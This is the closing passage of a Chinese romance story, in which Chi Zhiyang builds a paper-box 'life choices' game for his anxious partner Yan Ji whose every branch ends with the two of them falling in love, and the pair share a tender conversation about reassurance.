房间里的灯熄了大半,只留下床头的暖调阅读灯,而迟之阳穿着浴袍盘腿坐在床上,朝他招手。 于是严霁也坐上去,他们之间摆着一个打开的粉色小盒子,里面装着一些折叠起来的彩色纸条。 迟之阳抱着纸盒晃了晃,递给严霁:“随便挑一个然后打开!” “嗯。”严霁点头,伸手从盒子里拿出一枚,慢慢展开。 对着阅读灯,他看到了上面的内容,只有一个字母[B]。他递给迟之阳:“什么意思?” “B!好的好的。”迟之阳转过去,在身后絮絮叨叨找着什么,“b在哪儿……” 很快他拿出新的纸盒,上面贴着字母B,而纸盒上贴着一张便利贴,严霁发现了,摘了下来,上面写着——你出生啦!是个超级小只的早产儿,所以要孤独地住在保温箱里555。 而他注意到,迟之阳的背后还有贴着A和C的纸盒,只是上面的字看不清。 同样的流程,迟之阳再次邀请他抽签,这一次他抽到了写着数字5的纸条。 于是迟之阳像是变魔术一样,为他找出了标有5的小盒子,上面的便利贴写着——你成绩很好,考上了非常好的大学,成为一名算法工程师。 “嗯?”严霁晃了晃这个便利贴,“小宝HR打算给我换工作?还挺会挑。” “不是啦。”迟之阳想解释,一下子又说不清,最后只好使劲儿摇晃编号为5的盒子,再次递给严霁面前。 “再抽!” 这次是小写字母e的纸条,对应的盒子也出现,严霁已经条件反射地去看上面的便签——你赚了很多钱,但不太快乐,于是你辞职,并且决心环游世界。 严霁隐约感应到什么,望向一脸认真又兴奋的迟之阳,定定地看了他好一会儿。 “快抽啊,还没结束呢。”迟之阳把新的纸盒e拿到他面前,露出鼓励的眼神。 于是严霁抽了,这次的纸条打开来,是编号(一)。而编号(一)的纸盒上同样贴着便利贴,上面写着: [在旅途中,你认识了一个一头白发留着小辫子、会打架子鼓和中国大鼓的男孩儿,他叫迟之阳。] “最后一个!” 在迟之阳的怂恿下,猜到大半的严霁将手伸进纸盒里,拿出一张纸条。 这次的纸条展开来,不再是编号,而是一句简短的话。 [你和迟之阳相爱了。] “当当当当!”迟之阳超级用力地为他鼓掌,“恭喜你,完成了严霁人生抉择小游戏并且顺利通关!” 好奇怪的名字。 严霁望向他,眼神很柔和:“可以再玩一次吗?” “当然!多少次都可以,我准备了超级多。” 于是迟之阳真的又陪他玩了一次。而这一次,在他的抉择下,“严霁”的人生路径发生了改变:作为早产儿出生——按照父母的意愿学习了钢琴——进入音乐学院学习古典钢琴并继续深造——在校园里遇到新生迟之阳——和迟之阳在一起。 “又通关啦!” 严霁盯着手里的通关小纸条,忽然抬起头,轻声对迟之阳说:“宝宝,我想喝水,有水吗?” “有,我记得在电视机那边……”迟之阳立刻跑去找,房间里很黑,他顺便又开了一盏灯。 而严霁却趁此机会,直接拿过藏在迟之阳身后的最后一组盒子,写着编号(一)和(二),他将这两个盒子里的纸条都倒出来,一张张打开。 每一张都写着[你和迟之阳相爱了]。 找到水瓶拿回来的迟之阳当然也看到了这一切。他有些气恼,但又不想对严霁发脾气,于是撒娇似的把纸条拢到一边:“你干嘛作弊呀,真是的。” 严霁感到鼻酸,又尽力微笑说:“这是你设计的树状模型?做出不同的选择,就会有不同的人生……” 但最后的结果都是一样的。 “作弊的是你才对吧。”他笑了出来,看向那一堆相同的小纸条,“这完全就是犯规啊。” 都已经被拆穿,迟之阳干脆认认真真地对他说:“这不是犯规。” 他拉起严霁的手,握紧,目光真诚:“你之前说过,你之所以焦虑,就是因为你害怕身边不可控的事,对不对?比如不确定能不能按时抵达某个地方,不知道能不能做好你心目中的编曲,之类的。这些都是你觉得不可控的事。” “就像前面的这些纸盒一样,会发生什么,会成为什么样的人,做什么样的工作,都是不可预计、不可控制的。”迟之阳望着他,把他的手放在自己脸旁,“但是我不一样啊。” “严霁,我只是想用这个小游戏告诉你,无论你做出怎么样的选择,你都有我。这是你完全可以掌控的事实,是不会改变的。” “每当你觉得失控的时候,想想这些纸条,想一想我,好吗?”迟之阳靠在他掌心,歪着头凝视着严霁,“我永远在你手心里。” 严霁静静地望了迟之阳一会儿,最后伸出手臂,将他搂在怀中。也是在这一刻,才终于落下一滴眼泪。晶莹的泪滴落在迟之阳银白的发丝间,转瞬即逝。 “谢谢你。”他说了好多遍,也亲吻他的发顶好多遍,有些没办法地笑了,“你怎么这么聪明?” 迟之阳却在他怀里摇头:“我不是聪明,我是喜欢你。” 他仰起脸,伸手抚摸了严霁的泪痕,眼神泛着柔软润泽的光,很小声说:“严霁,你是教会我什么是爱的人。爱是很好很好的,所以我也希望你一直被爱,一直这么幸福。” 严霁抵着他的额头:“这个心愿好难,只有你这么聪明的小脑袋才能做到了。” “那就让我做。”迟之阳笑了,仰起脸轻轻吻他的嘴唇,“我很会爱你。” 一个柔软悠长的吻结束后,严霁忽然有些孩子气地对他说:“我还想玩一次。” “好啊,当然可以。”迟之阳很得意,“我写了好多好多,可以玩超多次!” 然后他们真的抽了好多次。 直到严霁抽到他想要的便利贴,上面写着: [高压之下,你放弃投行的工作,接受了迟之阳的招募,成为恒星时刻乐队的键盘手,开始了你自由璀璨的摇滚人生。] [你和迟之阳相爱了。] ——全文完——